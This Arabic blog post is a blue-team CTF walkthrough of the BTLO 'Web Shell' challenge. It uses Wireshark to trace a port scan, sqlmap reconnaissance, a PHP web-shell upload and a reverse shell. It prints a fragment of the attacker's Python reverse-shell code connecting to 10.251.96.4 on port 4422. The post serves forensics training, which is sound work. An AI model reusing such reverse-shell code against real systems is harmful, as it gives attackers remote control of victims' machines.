حل تحدي Web Shell من منصة BTLO

CTF Walkthrough
أفضل وسيلة لتثبيت المعلومة هي التدريب العملي و هذا تدريب عملي على الـ Network Forensics وسوف نتعلم طريقة التفكير و الحل إن شاء الله
Mohamed Ewies
Dec. 1, 2023, 3:06 p.m.
mohamed_ewies
حل تحدي Web Shell من منصة BTLO

مقدمة
السلام عليكم ورحمة الله وبركاته بسم الله والصلاة والسلام على رسول الله محمد صلى الله عليه وسلم كيف حالك يا صديقي اليوم مميز سنجرب عمليا ما تعلمنا في استخدام برنامج الـ wireshark وكيف نحلل سجلات الشبكة الخاصه بنا و هذه هي الدروس السابقة

اقرأ ايضا الجزء الأول : مقدمة في تعلم الـ Network Forensics

اقرأ ايضا الجزء الثانى : تعلم الـ network forensics عن طريق الـ packet filtering في wireshark

اقرأ ايضا الجزء الثالث : تعلم الnetwork forensics عن طريق استعمال خاصية الإحصائيات في wireshark

اقرأ ايضا الجزء الرابع : تعلم الـ network forensics باستخدام Wireshark Protocol Streams و استخراج الملفات من الـ pcap

اقرأ ايضا الجزء الخامس : تعلم ال network forensics و التحقيق في حالات هجمات عملية بإستخدام wireshark


هذا هو رابط التحدي - 
blueteamlabs | network analysis web shell

خطوات الحل

قبل أن نبدأ التحدي إن شاء الله دعنا نفهم المعطيات لدنيا:

إن مركز العمليات الأمنية وصله تحذيرات من نظام المعلومات الأمنية وإدارة الحوادث SIEM بأن هناك عملية مسح للـ ports ولكن تنبه إنه local to local يعني انه من اجهزه ذات local IP او ما يسمى private IP انظر هنا اكثر لتتذكر ما هي هذه المسميات يا صديقي

  

 

  

معك الان ملف PCAP قم بتحليله وأجب الأسئلة الاتيه:

السؤال الأول : ما هو الـ IP المسؤل عن عملية مسح الـ Ports؟

لإجابة هذا السؤال دعنا نتذكر ان الـ IP علمنا انه local(private) حسنا إذا لنحاول ان نرى قائمة الـ IP المتاحه عندنا ونختار منها الملائم
(ملاحظة اذا كنت لا تعلم ما هو الـ port scanning attack) يفضل ان تقرأ مقاله او تشاهد فيديو قصير عنه لتفهم اكثر

سنقوم بإختيار converstations لنرى الـ IP الموجود في هذا الملف الذي نقوم بتحليله ونرى عدد المحادثات وحجمها الذي قام به كل IP مع الاخر

سنجد الان اثنان مشتبه فيهم و 10.251.96.4 هو الأكثر شبهة لكثرة عدد الـ packets الشديدة ولكن دعنا نتأكد ونقطع الشك باليقين

سنقوم باختيار هذا الـ filter لنجعل المحادثات الخاصه بهم فقط تظهر ثم سنضيف لها ايضا المشتبه فيه الاخر لنحلل كليهما معا

 

 

سنلاحظ ان غالب رسائل 172.20.10.5 لا تضمن نمط الـ port scanning attack لكن على الوجه الاخر

سنجد ان 10.251.96.4 رسائله هي حقا تحمل نمط جهوم الـ port scanning وبهذا تأكدنا من هو المجرم إنه 10.251.96.4 بكل بساطه هو الذي يرسل الـ SYN لـ 10.251.96.5 ويرسل من port ثابت عنده ويجرب عدة ports مختلفه عند الضحيه 10.251.96.5 ثم ترد الضحية بـ RST,ACK وهذا نوع PORT SCAN معروف (ابحث عنه لأنه إجابة لسؤال اخر سنصل إليه بعد قليل إن شاء الله

السؤال الثاني : ما هو مدى الـ PORTS التي قام المهاجم بمسحه عند الضحيه ؟

للإجابه سنقوم بالبحث عن رقم اول port كترتيب عددي وليس اول port تم مسحها زمنا في الملف
ورقم اخر port قام بمسحها وحينها نعلم ان المدى هو بين هذين الرقمين ولله الحمد و لكن للتسهيل سنقوم بحركة اتبعني فيها

للحصول على هذه الشاشه بكل بساطه right click فوق المساحه الخاصه بـ info او اي عمود اخر ثم تختار colum preference سنحاول الان ان نقوم بإضافة اعمده للـ dst(destination) port والـ src(source) port لنستطيع ان نرتب بهما الـ ports ويكن الترتيب واضح سهلا امامنا ان شاء الله

ونكرر نفس العملية للـ dst port وحينما تنتهي احفظ وستجدهما ظهرا على الجانب الايمن قم بسحبهما لليسار ليكونا واضحين

إذا فالإجابة هي : 1-1024

السؤال الثالث : ما هو نوع الـ port scan الذي تم القيام به؟

مع الملاحطة الإجابه هي protocol الإتصال udp or tcp  مع نوع الهجوم حسنا أخبرتك مسبقا قم ببعض البحث والإجابة بسيطة إن شاء الله

السؤال الرابع : اخبرنا باسماء اداتين تم استعمالهما لجمع المعلومات و الاستطلاع على الـ ports المفتوحة

حسنا للإجابة عن هذا السؤال علينا اولا مراجعة ما فعلناه في السؤال الثاني وسنكتشف ان الوحيدة التي كانت مفتوحة كانت 80 وهي التي اكمل عليها المهاجم الاتصال وبالتأكيد انت تعرف ان HTTP هو الذي يستخدم هذا الـ Port حسنا اذا لنتحقق من الـ HTTP

حسنا ماذا الان؟ الان علينا ان نراجع السؤال قال انها ادوات لجمع المعلومات وفي الـ HTTP
في الغالب الادوات التي تستعمل لهذه الغرض معه تعرفها في خانة الـ user-agent اذا لنجعلها بذاتها عمودا و نبحث فيه

 

حينما سنبحث قليلا سنجد شيئين غريبين ونعم يا صديقي هذه هي الإجابه :) و لتعرف اكثر
عن اداة
sqlmap انصحك بهذه المقاله - كل ما تريد معرفتة عن أداة SQLMAP

السؤال الخامس : ما هو اسم الملف الـ php الذي قام المهاجم عن طريقه برفع webshell؟

حسنا لنجيب عن هذا السؤال علينا اولا البحث عن الـ HTTP POST

سنجد عدة نتائج عند التحقق منها بـ follow tcp stream ستجد انها مجرد محاولات لتخطى حماية اسم المستخدم و كلمة السر لكن لم يرفع اي ملف ماعادا الpacket التي قمت بتحديدها بالمربع الاحمر دعنا نتحقق منها

حسنا لقد وجدنا الإجابة وايضا إجابة السؤال السادس معها ولله الحمد

السؤال السادس :

السؤال السابع : ما هو المعامل الذي يستخدمه المهاجم لإعطاء الأوامر للـ webshell؟

 

السؤال الثامن : ما هو اول أمر قام المهاجم بتنفيذه ؟

حسنا الامر بسيط علينا فقط ان نكمل في الـ TCP stream ونرى ماذا حدث بعد ما وجدناه في السؤال السابق

     

حسنا في الـ stream الذي كان بعده بضغطتين وجدنا مرادنا وهناك طريقة اخرى فقط ابحث عن cmd وانظر للترتيب الزمني

 

السؤال التاسع : ما هو نوع الـ shell المستخدمه؟

قبل البداية انظر لهذا الفيديو لتفهم اكثر انواع الـ shell

Bind Shell vs. Reverse Shell

بإختصار نوع  bind هو العادي الاتصال من المهاجم للضحيه ولكن مشكلته ان الـ firewall سيقوم بإقافه لذلك يستخدمون reverse ليقوم بتخطي هذه الحمايه bypass it

دعنا نبدأ من اخر نقطة وصلنا لها

الان بعد ان حصل على اتصال وقام بتجربة الـ id و whoami قرر ان يبدأ الحصول على الـ Shell الخاصة به
وهناك طريقتان لمعرفة نوعها الثانيه سأخبرك بها في السؤال القادم إن شاء الله

إذا ضغطنا على follow tcp stream سنحصل على رؤيه لهذا الكود ولاحظ وجدنا ان المهاجم ارسل هذا الكود للضحية وسيتم تطبيقه عند الضحية وبهذا فهمنا انه حصل على shell ولكن الاتصال يبدأ من عند الضحية وليس من عنده وهكذا عرفنا انه reverse shell ولكن ملاحظات قبل ان اريك الإجابه
اولا للتفهم الكود اكثر سأريك مثالا للكود بدون هذه العلامات %20 و %22 و غيرها وسبب وجودها ان هذا يسمى بـ http encoding

لاحظ معي هذا يعني ان الكود كان connect(("10.251.96.4,4422")) ولكن تم تبديل الـ " بـ %22 نتيجة الـ http encoding :) وهذا مثال للـ reverse shell
باستخدام
python من موقع - invicti

قارن بينه وبين ما حصلنا عليه مع مراعاة الـ http encoding وستفهمها جيدا إن شاء الله ولا تنسى اننا حصلنا على إجابة السؤال القادم مسبقا وهي 4422

السؤال العاشر ما هو رقم الـ port المستخدم في الإتصال بالـ shell؟

حقيقة للإجابة طريقتان الأولى ان تفهم الـ reverse shell python code المرسل وحينها ستكون متيقن من إجابتك او أن تستعمل الخبرة وتنظر للملفات ستلاحظ نمطا هاما

لاحظ ان هذا دليل على كونه يستخدم Reverse Shell وايضا تجد ان الاتصال من عند الضحيه عن طريق PORT 4422 يصل للمهاجم على port 48994

خاتمة

وهكذا يا صديقي طوفنا حول تطبيق عملي بسيط للـ network forensics وهام جدا ان تتقنه خاصة لرجال الفريق الأزرق تدرب اكثر وكتدريب لك حاول ان تطبق Cyber Kill Chain  على الخطوات التي قام بها المهاجم في تدريبنا :)

اراك في المقالة القادمة إن شاء الله، اسأل الله تعالى أن تكون المادة المشروحة سهلة ميسرة فإن وفقت فمن الله  وإن أخفقت فمن عملي وعمل الشيطان نعوذ بالله من شرور أنفسنا ومن شرور أعمالنا ومن الشيطان الرجيم وادعموا إخوانكم المسلمين في فلسطين وإدلب وأفغنستان والإيغور وكل مكان بالدعاء والتوبة و الطاعات ولا تتهاون او تخف أبدا من نصرة إخوانك قال رسول الله صلى الله عليه وسلم : إنَّ المُؤْمِنَ لِلْمُؤْمِنِ كَالْبُنْيَانِ يَشُدُّ بَعْضُهُ بَعْضًا. وشَبَّكَ أصَابِعَهُ.
الراوي : أبو موسى الأشعري | المحدث : البخاري | المصدر : صحيح البخاري الصفحة أو الرقم: 481 | خلاصة حكم المحدث : [صحيح]

واذكرك بأن تفكر في سؤال هام مالهدف من كل شئ تفعله في حياتك ؟ مالهدف من قرائتك هذه المقاله ؟ هل تهدف لشئ منتهي ؟
فقط تأكل لتستطيع ان تعمل و هذا العمل عائده عليك ينتهي بإنتهائك انت صحيح ؟
يا صديقي انت تحتاج لدروس في التجارة دائما اختر الهدف الاكبر نفعا و الأدوم و الأبقى وهل هناك هدف كهذا ؟
نعم قال تعالى "
وَمَا خَلَقْتُ الْجِنَّ وَالْإِنسَ إِلَّا لِيَعْبُدُونِ" 56 الذاريات و قال تعالى كُلُّ نَفْسٍ ذَائِقَةُ الْمَوْتِ ۗ وَإِنَّمَا تُوَفَّوْنَ أُجُورَكُمْ يَوْمَ الْقِيَامَةِ ۖ فَمَن زُحْزِحَ عَنِ النَّارِ وَأُدْخِلَ الْجَنَّةَ فَقَدْ فَازَ ۗ وَمَا الْحَيَاةُ الدُّنْيَا إِلَّا مَتَاعُ الْغُرُورِ"
لا تكن عبثا في هذه الحياه فقط تأكل و تنام وكل همك شهواتك فلا تتعدى ان تكون حيواننا و انت كرمك الله وانت من نسل سيدنا ادم عليه السلام لم تكون قردا او اي حيوان اخر بل بدايتك هي سيدنا ادم عليه السلام انت مكرم منذ البداية فلا تهن نفسك مع السلامة...


web shell btlo network forensics wireshark تعلم وايرشارك تعلم تحليل الشبكة